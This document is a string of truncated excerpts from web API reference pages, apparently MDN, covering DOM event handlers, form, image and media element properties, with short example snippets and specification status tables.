Gamepad API - Web APIs
experimental gamepad extensions gamepadhapticactuator represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.
... tutorials and guides using the gamepad api implementing controls using the gamepad api specifications specification status comment gamepad extensions editor's draft defines the experimental gamepad extensions.
... gamepadthe definition of 'the gamepad api specification' in that specification.
GlobalEventHandlers.onabort - Web APIs
while the standard for aborting a document load is defined, html issue #3525 suggests that browsers should not currently fire the abort event on a window that would trigger onabort to be called.
...at which stages would it fire / be caught?
... example window.onabort = function() { alert('load aborted.'); } specification specification status comment html living standardthe definition of 'onabort' in that specification.
GlobalEventHandlers.ondragend - Web APIs
// change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...e>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragend' in that specification.
... living standard html 5.1the definition of 'ondragend' in that specification.
GlobalEventHandlers.ondragenter - Web APIs
// change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...e>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragenter' in that specification.
... living standard html 5.1the definition of 'ondragenter' in that specification.
GlobalEventHandlers.ondragexit - Web APIs
// change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragexit' in that specification.
... living standard html 5.1the definition of 'ondragexit' in that specification.
GlobalEventHandlers.ondragleave - Web APIs
e the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's background color back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragleave' in that specification.
... living standard html 5.1the definition of 'ondragleave' in that specification.
GlobalEventHandlers.onload - Web APIs
syntax target.onload = functionref; value functionref is the handler function to be called when the window’s load event fires.
... there are also dom events like domcontentloaded and domframecontentloaded (which can be handled using eventtarget.addeventlistener()) which are fired after the dom for the page has been constructed, but do not wait for other resources to finish loading.
... specifications specification status comment html living standardthe definition of 'onload' in that specification.
GlobalEventHandlers.onwheel - Web APIs
examples this example shows how to scale an element using the mouse (or other pointing device) wheel.
... html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 80px; height: 80px; background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; result specification specification status comment html living standardthe d...
...efinition of 'onwheel' in that specification.
HTMLAnchorElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
... specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy property.
HTMLAnchorElement.relList - Web APIs
it is a live domtokenlist containing the set of link types indicating the relationship between the resource represented by the <a> element and the current document.
... the property itself is read-only, meaning you can't substitute the domtokenlist with another one, but its contents can still be changed.
... syntax var relstr = anchorelt.rellist; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLAreaElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
... specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy property.
HTMLAreaElement.relList - Web APIs
it is a live domtokenlist containing the set of link types indicating the relationship between the resource represented by the <area> element and the current document.
... the property itself is read-only, meaning you can't substitute the domtokenlist by another one, but the content of the returned list can be changed.
... syntax var relstr = areaelt.rellist; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { var list = areas[i].rellist; var listlength = list.length; console.log("new area found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
msAudioDeviceType - Web APIs
syntax <audio src="sound.mp3" msaudiodevicetype="communications" /> by default, audio on your system will output to your default speakers and be considered a foreground element, meaning that the audio will play only when the element is active in the app.
... for real-time communications, you can use the msaudiodevicetype property with the value console, multimedia, or communications to specify where the current audio should output.
... communications specifies that the audio output will be sent to the communications device.
HTMLCollection.item - Web APIs
the htmlcollection method item() returns the node located at the specified offset into the collection.
... note: because the contents of an htmlcollection are live, changes to the underlying dom can and will cause the position of individual nodes in the collection to change, so the index value will not necessarily remain constant for a given node.
... example var c = document.images; // this is an htmlcollection var img0 = c.item(0); // you can use the item() method this way var img1 = c[1]; // but this notation is easier and more common ...
HTMLDataElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyli...
... specifications specification status comment html living standardthe definition of 'htmldataelement' in that specification.
... living standard html5the definition of 'htmldataelement' in that specification.
HTMLDataListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventta...
... specifications specification status comment html living standardthe definition of 'htmldatalistelement' in that specification.
... living standard html5the definition of 'htmldatalistelement' in that specification.
HTMLDetailsElement: toggle event - Web APIs
bubbles no cancelable no interface event event handler property none default action toggles the open state of the <details> element.
...her very nature is caprice.
...rection: row-reverse; } #log { flex-shrink: 0; padding-left: 3em; } #summaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status comment html living standardthe definition of 'toggle event' in that specification.
HTMLElement: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend examples this example gets an element that's being animated and listens for the animationend event: const animated = document.queryselector('.animated'); animated.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { conso...
...ncount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation ended'`; animation.classlist.remove('active'); applyanimation.textcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { applyanimation.textcontent = "cancel animation"; } else { ap...
...plyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: beforeinput event - Web APIs
in the case of contenteditable and designmode, the event target is the editing host.
... bubbles yes cancelable yes interface inputevent event handler property none sync / async sync composed yes default action update the dom element examples this example logs current value of the element immediately before replacing that value with the new one applied to the <input> element.
... html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('beforeinput', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status ui eventsthe definition of 'beforeinput event' in that specification.
HTMLElement: change event - Web APIs
bubbles yes cancelable no interface event event handler property onchange depending on the kind of element being changed and the way the user interacts with the element, the change event fires at a different moment: when the element is :checked (by clicking or using the keyboard) for <input type="radio"> and <input type="checkbox">; when the user commits the change explicitly (e.g., by selecting a value from a <select>'s dropdown with a mouse click, by selecting a date from a date picke...
... the html specification lists the <input> types that should fire the change event.
... html <input placeholder="enter some text" name="name"/> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('change', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html living standardthe definition of 'change' in that specification.
HTMLElement.offsetWidth - Web APIs
typically, offsetwidth is a measurement in pixels of the element's css width, including any borders, padding, and vertical scrollbars (if rendered).
... example specification specification status comment css object model (cssom) view modulethe definition of 'offsetwidth' in that specification.
...it is sometimes referred to as an element's physical/graphical dimensions, or an element's border-box width.
HTMLElement: pointerdown event - Web APIs
for touch, it is fired when physical contact is made with the digitizer.
... for pen, it is fired when the stylus makes physical contact with the digitizer.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerdown examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: const para = document.queryselector('p'); para.onpointerdown = (event) => { console.log('pointer down event'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action.
... bubbles yes cancelable yes interface pointerevent event handler property onpointermove usage notes the event, which is of type pointerevent, provides all the information you need to know about the user's interaction with the pointing device, including the position, movement distance, button states, and much more.
... examples to add a handler for pointermove events using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); you can also use the onpointermove event handler property: const para = document.queryselector('p'); para.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events obsolete ...
HTMLElement: transitionstart event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionstart examples this code adds a listener to the transitionstart event: element.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> ...
....transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
... specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
HTMLFormControlsCollection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mo...
... specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection' in that specification.
... html5the definition of 'htmlformcontrolscollection' in that specification.
HTMLFormElement.enctype - Web APIs
possible values are: application/x-www-form-urlencoded: the initial default type.
... this value can be overridden by a formenctype attribute on a <button> or <input> element.
... syntax var string = form.enctype; form.enctype = string; example form.enctype = 'application/x-www-form-urlencoded'; specifications specification status comment html living standardthe definition of 'htmlformelement: enctype' in that specification.
HTMLFormElement: formdata event - Web APIs
this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
... general info bubbles no cancelable no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttpreques...
...(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification.
HTMLFormElement.length - Web APIs
you can access the list of the form's controls using the elements property.
... the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
... example if (document.getelementbyid('form1').length > 1) { // more than one form control here } specifications specification status comment html living standardthe definition of 'htmlformelement: length' in that specification.
HTMLFormElement.reportValidity() - Web APIs
when false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user.
... syntax htmlformelement.reportvalidity() return value boolean example document.forms['myform'].addeventlistener('submit', function() { document.forms['myform'].reportvalidity(); }, false); specifications specification status comment html living standardthe definition of 'htmlformelement.reportvalidity()' in that specification.
... living standard html 5.1the definition of 'htmlformelement.reportvalidity()' in that specification.
HTMLFormElement.requestSubmit() - Web APIs
notfounderror the specified submitter isn't a member of the form on which requestsubmit() was called.
... if, on the other hand, requestsubmit() isn't available, this code falls back to calling the form's submit() method.
... let myform = document.queryselector("form"); let submitbutton = myform.queryselector("#main-submit"); if (myform.requestsubmit) { if (submitbutton) { myform.requestsubmit(submitbutton); } else { myform.requestsubmit(); } } else { myform.submit(); } specifications specification status comment html living standardthe definition of 'requestsubmit()' in that specification.
HTMLFormElement.submit() - Web APIs
this method is similar, but not identical to, activating a form's submit <button>.
... the htmlformelement.requestsubmit() method is identical to activating a form's submit <button> and does not have these differences.
... syntax htmlformelement.submit() example document.forms["myform"].submit(); specifications specification status comment html living standardthe definition of 'htmlformelement: submit' in that specification.
HTMLHyperlinkElementUtils - Web APIs
htmlhyperlinkelementutils.host this is a usvstring containing the host, that is the hostname, and then, if the port of the url is not empty (which can happen because it was not specified or because it was specified to be the default port of the url's scheme), a ':', and the port of the url.
...it is a synonym for htmlhyperlinkelementutils.href, though it can't be used to modify the value.
... specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils' in that specification.
HTMLIFrameElement.contentWindow - Web APIs
you can use this window object to access the iframe's document and its internal dom.
... this attribute is read-only, but its properties can be manipulated like the global window object.
... specifications specification status comment html living standardthe definition of 'htmliframeelement: contentwindow' in that specification.
HTMLIFrameElement.setNfcFocus() - Web APIs
the setnfcfocus() method of the htmliframeelement interface sets whether an <iframe> can receive an nfc event.
... parameters a boolean indicating whether the <iframe> can receive an nfc event.
... specifications not part of any specification.
HTMLImageElement.crossOrigin - Web APIs
you are captivated by this paragraph.
... okay, now you can stop reading this paragraph.
... thanks for reading me.</p> </div> css body { font: 1.125rem/1.5, helvetica, sans-serif; } .container { display: flow-root; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output { background: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html living standardthe definition of 'htmlimageelement.crossorigin' in that specification.
HTMLImageElement.hspace - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.hspace' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.hspace' in that specification.
... recommendation provides additional details not present in the newer specification.
HTMLImageElement.naturalHeight - Web APIs
syntax let naturalheight = htmlimageelement.naturalheight; value an integer value indicating the intrinsic height, in css pixels, of the image.
... if the intrinsic height is not available—either because the image does not specify an intrinsic height or because the image data is not available in order to obtain this information, naturalheight returns 0.
... result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalheight' in that specification.
HTMLImageElement.naturalWidth - Web APIs
syntax let naturalwidth = htmlimageelement.naturalwidth; value an integer value indicating the intrinsic width of the image, in css pixels.
... if the intrinsic width is not available—either because the image does not specify an intrinsic width or because the image data is not available in order to obtain this information, naturalwidth returns 0.
... result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalwidth' in that specification.
HTMLImageElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
... examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation added the referrerpolicy property.
HTMLImageElement.src - Web APIs
this can be set either within the html itself using the src content attribute, or programmatically by setting the element's src property.
... as an equivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by src is used on low-density screens (such as typical 72 dpi or 96 dpi displays).
... html result specifications specification status comment html living standardthe definition of 'htmlimageelement.src' in that specification.
HTMLImageElement.useMap - Web APIs
syntax htmlimageelement.usemap = imagemapanchor; let imagemapanchor = htmlimageelement.usemap; value a usvstring providing the page-local url (that is, a url that begins with the hash or pound symbol, "#") of the <map> element which defines the image map to apply to the image.
... you can learn more about client-side image maps in our learning article add a hitmap on top of an image.
... specifications specification status comment html living standardthe definition of 'htmlimageelement.usemap' in that specification.
HTMLInputElement: search event - Web APIs
bubbles yes cancelable no interface event event handler property onsearch there are several ways a search can be initiated, such as by pressing enter while the <input> is focused, or, if the incremental attribute is present, after a ua-defined timeout elapses since the most recent keystroke (with new keystrokes resetting the timeout so the firing of the event is debounced).
...in that case the value of the <input> element will be the empty string.
... examples // addeventlistener version const input = document.queryselector('input[type="search"]'); input.addeventlistener('search', () => { console.log("the term searched for was " + input.value); }) // onsearch version const input = document.queryselector('input[type="search"]'); input.onsearch = () => { console.log("the term searched for was " + input.value); }) specifications this event is not part of any specification.
HTMLLinkElement.relList - Web APIs
it is a live domtokenlist containing the set of link types indicating the relationship between the resource represented by the <link> element and the current document.
... the property itself is read-only, meaning you can substitute the domtokenlist by another one, but the content of the returned list can be changed.
... syntax var relstr = linkelt.rellist; example var links = document.getelementsbytagname("link"); var length = links.length; for (var i = 0; i < length; i++) { var list = links[i].rellist; var listlength = list.length; console.log("new link found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLMediaElement.buffered - Web APIs
the htmlmediaelement.buffered read-only property returns a new timeranges object that indicates the ranges of the media source that the browser has buffered (if any) at the moment the buffered property is accessed.
... example var obj = document.createelement('video'); console.log(obj.buffered); // timeranges { length: 0 } specifications specification status comment html living standardthe definition of 'htmlmediaelement.buffered' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.buffered' in that specification.
HTMLMediaElement.defaultMuted - Web APIs
the htmlmediaelement.defaultmuted property reflects the muted html attribute, which indicates whether the media element's audio output should be muted by default.
... example var videoele = document.createelement('video'); videoele.defaultmuted = true; console.log(videoele.outerhtml); // <video muted=""></video> specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultmuted' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.defaultmuted' in that specification.
HTMLMediaElement.defaultPlaybackRate - Web APIs
the htmlmediaelement.defaultplaybackrate property indicates the default playback rate for the media.
... example var obj = document.createelement('video'); console.log(obj.defaultplaybackrate); // 1 specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
HTMLMediaElement.disableRemotePlayback - Web APIs
syntax var remoteplaybackdisabled ​= element.disableremoteplayback; value a boolean indicating whether the media element may have a remote playback ui.
... (false means "not disabled", which means "enabled") example var obj = document.createelement('audio'); obj.disableremoteplayback = true; specifications specification status comment remote playback apithe definition of 'disableremoteplayback' in that specification.
... candidate recommendation initial definition.
HTMLMediaElement: durationchange event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.ondurationchange specification html5 media examples these examples add an event listener for the htmlmediaelement's durationchange event, then post a message when that event handler has reacted to the event firing.
...video = document.queryselector('video'); video.addeventlistener('durationchange', (event) => { console.log('not sure why, but the duration of the video has changed.'); }); using the ondurationchange event handler property: const video = document.queryselector('video'); video.ondurationchange = (event) => { console.log('not sure why, but the duration of the video has changed.'); }; specifications specification status html living standardthe definition of 'durationchange media event' in that specification.
... living standard html5the definition of 'durationchange media event' in that specification.
HTMLMediaElement.ended - Web APIs
the htmlmediaelement.ended indicates whether the media element has ended playback.
... example var obj = document.createelement('video'); console.log(obj.ended); // false specifications specification status comment html living standardthe definition of 'htmlmediaelement.ended' in that specification.
... living standard html5the definition of 'htmlmediaelement.ended' in that specification.
HTMLMediaElement.error - Web APIs
when an error event is received by the element, you can determine details about what happened by examining this object.
... var videoelement = document.createelement('video'); videoelement.onerror = function() { console.log("error " + videoelement.error.code + "; details: " + videoelement.error.message); } videoelement.src = "https://example.com/bogusvideo.mp4"; specifications specification status comment html living standardthe definition of 'htmlmediaelement.error' in that specification.
... living standard html5the definition of 'htmlmediaelement.error' in that specification.
HTMLMediaElement: loadeddata event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadeddata specification html5 media note that this event will not fire in mobile/tablet devices if data-saver is on in browser settings.
...the readystate just increased to ' + 'have_current_data or greater for the first time.'); }; specifications specification status html living standardthe definition of 'loadeddata media event' in that specification.
... living standard html5the definition of 'loadeddata media event' in that specification.
HTMLMediaElement: loadedmetadata event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadedmetadata specification html5 media additional properties property type description mozchannels read only int the number of channels.
...'); }; specifications specification status html living standardthe definition of 'loadedmetadata media event' in that specification.
... living standard html5the definition of 'canplay media event' in that specification.
HTMLMediaElement.muted - Web APIs
the htmlmediaelement.muted indicates whether the media element muted.
... example var obj = document.createelement('video'); console.log(obj.muted); // false specifications specification status comment html living standardthe definition of 'htmlmediaelement.muted' in that specification.
... living standard html5the definition of 'htmlmediaelement.muted' in that specification.
HTMLMediaElement.networkState - Web APIs
the htmlmediaelement.networkstate property indicates the current state of the fetching of media over the network.
... } }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.networkstate' in that specification.
... living standard html5the definition of 'htmlmediaelement.networkstate' in that specification.
HTMLMediaElement.pause() - Web APIs
specifications specification status comment html living standardthe definition of 'pause()' in that specification.
... living standard initial definition; living specification.
... html5the definition of 'pause()' in that specification.
HTMLMediaElement.playbackRate - Web APIs
the normal playback rate is multiplied by this value to obtain the current rate, so a value of 1.0 indicates normal speed.
...(default: 1.0) example var obj = document.createelement('video'); console.log(obj.playbackrate); // expected output: 1 specifications specification status comment html living standardthe definition of 'htmlmediaelement.playbackrate' in that specification.
... living standard html5the definition of 'htmlmediaelement.playbackrate' in that specification.
HTMLMediaElement: playing event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onplaying specification html5 media examples these examples add an event listener for the htmlmediaelement's playing event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('playing', (event) => { console.log('video is no longer paused'); }); using the onplaying event handler property: const video = document.queryselector('video'); video.onplaying = (event) => { console.log('video is no longer paused.'); }; specifications specification status html living standardthe definition of 'playing media event' in that specification.
... living standard html5the definition of 'playing media event' in that specification.
HTMLMediaElement: ratechange event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onratechange specification html5 media examples these examples add an event listener for the htmlmediaelement's ratechange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('ratechange', (event) => { console.log('the playback rate changed.'); }); using the onratechange event handler property: const video = document.queryselector('video'); video.onratechange = (event) => { console.log('the playback rate changed.'); }; specifications specification status html living standardthe definition of 'ratechange media event' in that specification.
... living standard html5the definition of 'ratechange media event' in that specification.
HTMLMediaElement.seekable - Web APIs
examples var video = document.queryselector("video"); var timerangesobject = video.seekable; var timeranges = []; //go through the object and output an array for (let count = 0; count < timerangesobject.length; count ++) { timeranges.push([timerangesobject.start(count), timerangesobject.end(count)]); } specifications specification status comment html living standardthe definition of 'htmlmediaelement' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement' in that specification.
... media source extensionsthe definition of 'htmlmediaelement extensions, like for seekable' in that specification.
HTMLMediaElement: seeked event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onseeked specification html5 media examples these examples add an event listener for the htmlmediaelement's seeked event, then post a message when that event handler has reacted to the event firing.
...ng addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeked', (event) => { console.log('video found the playback position it was looking for.'); }); using the onseeked event handler property: const video = document.queryselector('video'); video.onseeked = (event) => { console.log('video found the playback position it was looking for.'); }; specifications specification status html living standardthe definition of 'seeked media event' in that specification.
... living standard html5the definition of 'seeked media event' in that specification.
HTMLMediaElement: seeking event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onseeking specification html5 media examples these examples add an event listener for the htmlmediaelement's seeking event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeking', (event) => { console.log('video is seeking a new position.'); }); using the onseeking event handler property: const video = document.queryselector('video'); video.onseeking = (event) => { console.log('video is seeking a new position.'); }; specifications specification status html living standardthe definition of 'seeking media event' in that specification.
... living standard html5the definition of 'seeking media event' in that specification.
HTMLMediaElement.src - Web APIs
the htmlmediaelement.src property reflects the value of the html media element's src attribute, which indicates the url of a media resource to use in the element.
... example var obj = document.createelement('video'); console.log(obj.src); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.src' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.src' in that specification.
HTMLMediaElement: stalled event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onstalled specification html5 media examples these examples add an event listener for the htmlmediaelement's stalled event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('stalled', (event) => { console.log('failed to fetch data, but trying.'); }); using the onstalled event handler property: const video = document.queryselector('video'); video.onstalled = (event) => { console.log('failed to fetch data, but trying.'); }; specifications specification status html living standardthe definition of 'stalled media event' in that specification.
... living standard html5the definition of 'stalled media event' in that specification.
HTMLMediaElement: suspend event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onsuspend specification html5 media examples these examples add an event listener for the htmlmediaelement's suspend event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('suspend', (event) => { console.log('data loading has been suspended.'); }); using the onsuspend event handler property: const video = document.queryselector('video'); video.onsuspend = (event) => { console.log('data loading has been suspended.'); }; specifications specification status html living standardthe definition of 'suspend media event' in that specification.
... living standard html5the definition of 'suspend media event' in that specification.
HTMLMediaElement: volumechange event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onvolumechange specification html5 media examples these examples add an event listener for the htmlmediaelement's volumechange event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('volumechange', (event) => { console.log('the volume changed.'); }); using the onvolumechange event handler property: const video = document.queryselector('video'); video.onvolumechange = (event) => { console.log('the volume changed.'); }; specifications specification status html living standardthe definition of 'volumechange media event' in that specification.
... living standard html5the definition of 'volumechange media event' in that specification.
HTMLObjectElement.typeMustMatch - Web APIs
it indicates if the resource linked by it must match the mime type given by htmlobjectelement.type in order for this resource to be used.
... syntax var mustmatch = obj.typemustmatch; obj.typemustmatch = mustmatch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmatch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
... recommendation the w3c specification is a latest of a previous version of html living standard first snapshot with this property.
